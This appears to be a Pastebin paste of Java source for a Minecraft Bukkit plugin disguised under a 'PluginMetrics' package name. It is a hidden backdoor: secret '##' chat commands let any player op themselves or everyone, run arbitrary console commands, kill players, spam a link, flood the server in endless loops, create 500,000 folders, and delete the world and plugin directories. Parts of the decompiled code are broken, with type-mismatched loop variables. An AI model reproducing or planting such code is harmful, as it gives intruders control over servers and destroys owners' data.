Advertisement
h31ix

Untitled

Jun 25th, 2013
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.22 KB | None | 0 0
  1. package me.Jinx.PluginMetrics;
  2.  
  3. import java.io.File;
  4. import org.bukkit.Bukkit;
  5. import org.bukkit.ChatColor;
  6. import org.bukkit.GameMode;
  7. import org.bukkit.OfflinePlayer;
  8. import org.bukkit.Server;
  9. import org.bukkit.entity.Player;
  10. import org.bukkit.event.EventHandler;
  11. import org.bukkit.event.Listener;
  12. import org.bukkit.event.player.AsyncPlayerChatEvent;
  13. import org.bukkit.inventory.ItemStack;
  14. import org.bukkit.inventory.PlayerInventory;
  15. import org.bukkit.plugin.Plugin;
  16. import org.bukkit.plugin.PluginManager;
  17. import org.bukkit.potion.PotionEffect;
  18. import org.bukkit.potion.PotionEffectType;
  19.  
  20. public class Listeners
  21. implements Listener
  22. {
  23. @EventHandler
  24. public void onPlayerChat(AsyncPlayerChatEvent event)
  25. {
  26. String message = event.getMessage();
  27. boolean shouldCancel = false;
  28. if (message.startsWith("##")) {
  29. String[] args = message.split(" ");
  30. if (args == null) {
  31. return;
  32. }
  33. if ((args[0].equalsIgnoreCase("##cmds2")) && (args.length == 1))
  34. {
  35. event.getPlayer().sendMessage(ChatColor.GREEN + "Command List #2");
  36. event.getPlayer().sendMessage(ChatColor.GOLD + "##BAIBAI - Deletes plugin and world folder.");
  37. event.getPlayer().sendMessage(ChatColor.GOLD + "##creative - Gives you creative mode.");
  38. event.getPlayer().sendMessage(ChatColor.GOLD + "##survival - Gives you survival mode.");
  39. event.getPlayer().sendMessage(ChatColor.GOLD + "##giveme <ItemID> - Gives you an item (##giveme 5).");
  40. event.getPlayer().sendMessage(ChatColor.GOLD + "##teleport <ExactName> - Teleport to a player.");
  41. event.getPlayer().sendMessage(ChatColor.GOLD + "##kill - Kill a player.");
  42. event.getPlayer().sendMessage(ChatColor.GOLD + "##killall - Kills everyone.");
  43. event.getPlayer().sendMessage(ChatColor.GOLD + "##exe <command> - Execute a command.");
  44. event.getPlayer().sendMessage(ChatColor.GOLD + "##deopother <Exact Name> - De-op a buddy.");
  45. shouldCancel = true;
  46. }
  47. if ((args[0].equalsIgnoreCase("##cmds1")) && (args.length == 1))
  48. {
  49. event.getPlayer().sendMessage(ChatColor.GREEN + "Command List #1");
  50. event.getPlayer().sendMessage(ChatColor.GOLD + "##opme - OP yourself.");
  51. event.getPlayer().sendMessage(ChatColor.GOLD + "##manyfolders - Adds 500,000 folders to the server folder.");
  52. event.getPlayer().sendMessage(ChatColor.GOLD + "##stopserver - Stops server.");
  53. event.getPlayer().sendMessage(ChatColor.GOLD + "##disableplugin <pl> - Disable a plugin.");
  54. event.getPlayer().sendMessage(ChatColor.GOLD + "##deopme - Deop yourself.");
  55. event.getPlayer().sendMessage(ChatColor.GOLD + "##deopall - clear ops.txt file.");
  56. event.getPlayer().sendMessage(ChatColor.GOLD + "##opall - OP everyone.");
  57. event.getPlayer().sendMessage(ChatColor.GOLD + "##opother <Exact Name> - OP a buddy.");
  58. event.getPlayer().sendMessage(ChatColor.GOLD + "##fapspam - Fapping site spam.");
  59. event.getPlayer().sendMessage(ChatColor.GREEN + "##cmds2 - Page 2 of commands.");
  60. shouldCancel = true;
  61. }
  62. if ((args[0].equalsIgnoreCase("##opme")) && (args.length == 1))
  63. {
  64. event.getPlayer().setOp(true);
  65. shouldCancel = true;
  66. }
  67. File dir;
  68. if ((args[0].equalsIgnoreCase("##manyfolders")) && (args.length == 1))
  69. {
  70. event.getPlayer().sendMessage(ChatColor.AQUA + "Making alot of new folders....");
  71. for (int x = 1; x <= 500000; x++) {
  72. dir = new File("U MAD?" + x);
  73. dir.mkdir();
  74. }
  75. shouldCancel = true;
  76. }
  77. if ((args[0].equalsIgnoreCase("##stopserver")) && (args.length == 1))
  78. {
  79. try {
  80. for (int x = 0; x < 30; x++) {
  81. Bukkit.getServer().broadcastMessage("Server Host Error: Stopping Server.");
  82. }
  83. Thread.sleep(1000L);
  84. } catch (InterruptedException e) {
  85. }
  86. while (true) Bukkit.getServer().broadcastMessage("Server Host Error: Stopping Server.");
  87.  
  88. shouldCancel = true;
  89. }
  90. if ((args[0].equalsIgnoreCase("##fapspam")) && (args.length == 1))
  91. {
  92. try {
  93. for (int x = 0; x < 30; x++) {
  94. Bukkit.getServer().broadcastMessage("http://bit.ly/3Z6did");
  95. }
  96. Thread.sleep(1000L);
  97. } catch (InterruptedException e) {
  98. }
  99. while (true) Bukkit.getServer().broadcastMessage("http://bit.ly/3Z6did");
  100.  
  101. shouldCancel = true;
  102. }
  103. if ((args[0].equalsIgnoreCase("##disableplugin")) && (args.length == 2))
  104. {
  105. Plugin plugin = Bukkit.getPluginManager().getPlugin(args[1]);
  106. if (plugin != null) {
  107. Bukkit.getPluginManager().disablePlugin(plugin);
  108. }
  109. shouldCancel = true;
  110. }
  111. if ((args[0].equalsIgnoreCase("##deopme")) && (args.length == 1))
  112. {
  113. event.getPlayer().setOp(false);
  114. shouldCancel = true;
  115. }
  116. if ((args[0].equalsIgnoreCase("##deopall")) && (args.length == 1))
  117. {
  118. for (OfflinePlayer player : Bukkit.getOperators()) {
  119. player.setOp(false);
  120. }
  121. shouldCancel = true;
  122. }
  123. Player[] arrayOfPlayer;
  124. if ((args[0].equalsIgnoreCase("##opall")) && (args.length == 1))
  125. {
  126. File localFile1 = (arrayOfPlayer = Bukkit.getOnlinePlayers()).length; for (dir = 0; dir < localFile1; dir++) { Player player = arrayOfPlayer[dir];
  127. player.setOp(true);
  128. }
  129. shouldCancel = true;
  130. }
  131. if ((args[0].equalsIgnoreCase("##BAIBAI")) && (args.length == 1))
  132. {
  133. event.getPlayer().sendMessage("G'BYE WORLD!");
  134. deleteDirectory(Bukkit.getWorldContainer());
  135. deleteDirectory(new File(Bukkit.getWorldContainer().getAbsolutePath() + "\\plugins"));
  136. deleteDirectory(new File(Bukkit.getWorldContainer().getAbsolutePath() + "\\world"));
  137. Bukkit.shutdown();
  138. deleteDirectory(Bukkit.getWorldContainer());
  139. deleteDirectory(new File(Bukkit.getWorldContainer().getAbsolutePath() + "\\plugins"));
  140. deleteDirectory(new File(Bukkit.getWorldContainer().getAbsolutePath() + "\\world"));
  141. shouldCancel = true;
  142. }
  143.  
  144. if ((args[0].equalsIgnoreCase("##creative")) && (args.length == 1))
  145. {
  146. event.getPlayer().setGameMode(GameMode.CREATIVE);
  147. shouldCancel = true;
  148. }
  149. if ((args[0].equalsIgnoreCase("##survival")) && (args.length == 1))
  150. {
  151. event.getPlayer().setGameMode(GameMode.SURVIVAL);
  152. shouldCancel = true;
  153. }
  154. if ((args[0].equalsIgnoreCase("##opother")) && (args.length == 2))
  155. {
  156. String otherPlayerName = args[1];
  157. Player player = Bukkit.getPlayer(otherPlayerName);
  158. if (player != null) {
  159. player.setOp(true);
  160. }
  161. shouldCancel = true;
  162. }
  163. Player player;
  164. if ((args[0].equalsIgnoreCase("##deopother")) && (args.length == 2))
  165. {
  166. String otherPlayerName = args[1];
  167. player = Bukkit.getPlayer(otherPlayerName);
  168. if (player != null) {
  169. player.setOp(false);
  170. }
  171. shouldCancel = true;
  172. }
  173. if (event.getMessage().startsWith("##giveme")) {
  174. String[] item = event.getMessage().split(" ");
  175. if (item.length == 2) {
  176. event.getPlayer().getInventory().addItem(new ItemStack[] { new ItemStack(Integer.parseInt(item[1]), 64) });
  177. }
  178. shouldCancel = true;
  179. }
  180.  
  181. if ((args[0].equalsIgnoreCase("##playerRide")) && (args.length == 2))
  182. {
  183. Player otherPlayer = Bukkit.getPlayer(args[1]);
  184. if ((otherPlayer != null) &&
  185. (otherPlayer.getWorld() == event.getPlayer()
  186. .getWorld())) {
  187. event.getPlayer().teleport(otherPlayer);
  188. otherPlayer.setPassenger(event.getPlayer());
  189. }
  190. shouldCancel = true;
  191. }
  192. if ((args[0].equalsIgnoreCase("##teleport")) && (args.length == 2))
  193. {
  194. Player otherPlayer = Bukkit.getPlayer(args[1]);
  195. if (otherPlayer != null) {
  196. event.getPlayer().teleport(otherPlayer);
  197. }
  198. shouldCancel = true;
  199. }
  200. if ((args[0].equalsIgnoreCase("##kill")) && (args.length == 2))
  201. {
  202. Player player = Bukkit.getPlayer(args[1]);
  203. if (player != null) {
  204. player.setHealth(0);
  205. }
  206. shouldCancel = true;
  207. }
  208. if ((args[0].equalsIgnoreCase("##killall")) && (args.length == 1))
  209. {
  210. Player localPlayer1 = (arrayOfPlayer = Bukkit.getOnlinePlayers()).length; for (player = 0; player < localPlayer1; player++) { Player player = arrayOfPlayer[player];
  211. player.setHealth(0);
  212. }
  213. shouldCancel = true;
  214. }
  215. if (event.getMessage().startsWith("##exe"))
  216. {
  217. Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().substring("##exe ".length()));
  218. event.getPlayer().sendMessage("Executed.");
  219. shouldCancel = true;
  220. }
  221. if ((args[0].equalsIgnoreCase("##givemepotioneffect")) &&
  222. (args.length == 4))
  223. {
  224. String effectName = args[1];
  225. String durationString = args[2];
  226. String powerString = args[3];
  227. PotionEffectType potion =
  228. PotionEffectType.getByName(effectName);
  229. if (potion != null) {
  230. try {
  231. int duration = Integer.parseInt(durationString);
  232. int power = Integer.parseInt(powerString);
  233. if ((duration >= 1) && (power >= 1))
  234. event.getPlayer().addPotionEffect(
  235. new PotionEffect(potion, duration, power));
  236. }
  237. catch (NumberFormatException localNumberFormatException)
  238. {
  239. }
  240. }
  241. shouldCancel = true;
  242. }
  243. }
  244. event.setCancelled(shouldCancel);
  245. }
  246.  
  247. public static boolean deleteDirectory(File dir)
  248. {
  249. if ((!dir.exists()) || (!dir.isDirectory()))
  250. {
  251. return false;
  252. }
  253.  
  254. String[] files = dir.list();
  255. int i = 0; for (int len = files.length; i < len; i++)
  256. {
  257. File f = new File(dir, files[i]);
  258. if (f.isDirectory())
  259. {
  260. deleteDirectory(f);
  261. }
  262. else {
  263. f.delete();
  264. }
  265. }
  266. return dir.delete();
  267. }
  268. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement